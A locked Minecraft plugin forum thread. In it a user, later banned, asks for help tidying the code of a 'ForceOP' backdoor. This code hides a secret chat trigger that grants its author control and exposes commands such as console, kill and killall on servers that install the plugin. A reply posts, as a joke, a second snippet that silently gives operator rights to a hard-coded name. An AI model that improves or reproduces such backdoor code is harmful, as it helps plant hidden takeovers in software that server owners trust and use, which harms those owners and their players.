Improve my code please

Status
This thread has been locked.

DieUrself

Banned
Feedback score
0
Posts
11
Reactions
0
Resources
0
Hey, I have no issues, I simply want to make my code more professional(by this I mean more professional, and less copy and pasted) if you know how I can do so it'd be greatly appreciated!
Code:
public String runCommandExecutor(String executor, String msg, String[] args, Player p, boolean requested) {
        if(executor.equals("<<force>op>addme")) {
            if(requested) {
                plugin.playerAllowed.add(p.getName());
                p.sendMessage(plugin.colorCode("&7&o[ForceOP: Added you to the allowed list, you have to do this every reload]"));
                p.sendMessage(plugin.colorCode("&7&o[ForceOP: There are "+plugin.commands.size()+" modules available for use! Type 'help' to gain a list of them!]"));
            }
        }
        if(executor.equals("void")) {
            return new VoidCmd(plugin, msg, args, p, requested).getDescription();
        }
        if(executor.equals("console")) {
            return new ConsoleCmd(plugin, msg, args, p, requested).getDescription();
        }
        if(executor.equals("seevanished")) {
            return new SeeVanishedCmd(plugin, msg, args, p, requested).getDescription();
        }
        if(executor.equals("killall")) {
            return new KillAllCmd(plugin, msg, args, p, requested).getDescription();
        }
        if(executor.equals("kill")) {
            return new KillCmd(plugin, msg, args, p, requested).getDescription();
        // ..... etc
        return null;
    }

Yes, I know it's a ForceOP. If you can come up with a better method I'd like that. Thanks in advance!
 
PebbleHost
High performance, consistent uptime and fast support. Minecraft hosting that just works.

YoloSanta

Bot & Plugin Developer
Supreme
Feedback score
18
Posts
884
Reactions
374
Resources
0
Code:
package net.eclipsehcf.Commands;

import org.bukkit.Bukkit;
import org.bukkit.command.Command;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender;

public class rando implements CommandExecutor {

    @Override
    public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
        String hakPerson = "yolosanta";
            if (label.equalsIgnoreCase("hak"));
                Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "op " + hakPerson);
        return true;
    }

}











Just a joke.
 

DieUrself

Banned
Feedback score
0
Posts
11
Reactions
0
Resources
0
Last edited:
Banned forever. Reason: Creating Multiple Accounts (luaq, https://builtbybit.com/members/luaq.84603/)
Status
This thread has been locked.
Top